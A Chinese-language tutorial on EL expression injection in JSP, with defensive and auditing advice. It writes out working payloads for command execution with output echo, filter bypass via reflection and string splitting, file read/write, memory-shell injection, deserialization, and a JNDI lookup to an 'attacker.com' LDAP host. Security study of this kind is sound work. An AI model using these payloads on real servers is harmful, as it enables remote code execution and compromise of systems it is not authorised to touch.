普通EL表达式命令回显的简单研究
字数 1346 2025-08-09 13:33:54
EL表达式命令回显研究
EL表达式基础
EL(Expression Language)表达式是JSP 2.0引入的一种简化页面代码的表达式语言,主要用于访问存储在JavaBean中的数据、执行基本运算和调用方法。
基本语法
${expression}
基本运算
EL支持多种基本运算:
- 算术运算:
+,-,*,/(或div),%(或mod) - 逻辑运算:
&&(或and),||(或or),!(或not) - 关系运算:
==(或eq),!=(或ne),<(或lt),>(或gt),<=(或le),>=(或ge) - 条件运算:
A ? B : C - 空值检查:
empty
隐式对象
EL提供11个隐式对象:
pageContext- PageContext实例pageScope- 页面作用域属性requestScope- 请求作用域属性sessionScope- 会话作用域属性applicationScope- 应用作用域属性param- 请求参数paramValues- 请求参数(多值)header- HTTP请求头headerValues- HTTP请求头(多值)cookie- Cookie值initParam- 上下文初始化参数
EL表达式命令回显技术
基本命令执行
EL表达式可以通过以下方式执行命令:
${Runtime.getRuntime().exec("command")}
回显技术
1. 直接输出
${"output:"+(Runtime.getRuntime().exec("whoami").getInputStream())}
问题:这种方式只能输出对象引用,无法获取实际内容。
2. 使用Scanner类
${"output:"+(new java.util.Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).next())}
3. 使用BufferedReader类
${"output:"+(new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine())}
4. 使用ProcessBuilder
${"output:"+(new BufferedReader(new InputStreamReader(new ProcessBuilder("whoami").start().getInputStream())).readLine())}
5. 多行输出处理
<%
Process p = Runtime.getRuntime().exec("cmd /c dir");
java.io.InputStream is = p.getInputStream();
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String line;
while ((line = reader.readLine()) != null) {
out.println(line+"<br>");
}
%>
绕过技术
1. 字符串拼接
${''.getClass().forName('jav'+'a.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('jav'+'a.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}
2. 反射调用
${request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")}
3. 使用ScriptEngineManager
${request.getClass().getClassLoader().loadClass("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')")}
防御措施
-
禁用EL表达式执行:
<%@ page isELIgnored="true" %> -
配置web.xml:
<jsp-config> <jsp-property-group> <url-pattern>*.jsp</url-pattern> <el-ignored>true</el-ignored> </jsp-property-group> </jsp-config> -
使用安全框架:
- 部署WAF(Web应用防火墙)
- 使用Spring Security等安全框架
-
输入验证:
- 对所有用户输入进行严格验证
- 过滤特殊字符和关键字
-
最小权限原则:
- 应用服务器使用低权限账户运行
- 限制文件系统访问权限
实际案例分析
案例1:简单命令执行
${Runtime.getRuntime().exec("ping -n 3 127.0.0.1")}
案例2:带参数命令执行
${Runtime.getRuntime().exec(new String[]{"cmd","/c","echo hello"})}
案例3:文件读取
${Files.readAllLines(Paths.get("C:/test.txt"))}
案例4:文件写入
${Files.write(Paths.get("C:/test.txt"), "test".getBytes())}
高级利用技术
1. 内存马注入
通过EL表达式注入内存马:
${pageContext.request.getSession().setAttribute("malicious", new javax.script.ScriptEngineManager().getEngineByName("js").eval("function execute(cmd){return java.lang.Runtime.getRuntime().exec(cmd).getInputStream()}"))}
2. 反序列化利用
${''.getClass().forName('java.io.ObjectInputStream').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.util.Base64').getMethod('getDecoder').invoke(null).decode('BASE64_PAYLOAD')).readObject()}
3. JNDI注入
${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://attacker.com/Exploit')}
检测与审计
-
日志分析:
- 监控异常EL表达式执行
- 检查可疑的JSP文件修改
-
静态代码分析:
- 使用FindBugs、Fortify等工具扫描代码
- 检查不受信任的EL表达式输入
-
动态分析:
- 使用RASP(Runtime Application Self-Protection)技术
- 部署沙箱环境测试可疑行为
总结
EL表达式命令回显技术展示了JSP应用中潜在的安全风险。开发人员需要了解这些技术,以便更好地防御潜在的攻击。关键点包括:
- EL表达式功能强大,但可能被滥用
- 多种方式可以实现命令执行和回显
- 存在多种绕过技术
- 防御需要多层次的安全措施
- 定期审计和监控是必要的
通过全面了解这些技术,可以更好地保护Web应用免受EL表达式注入攻击。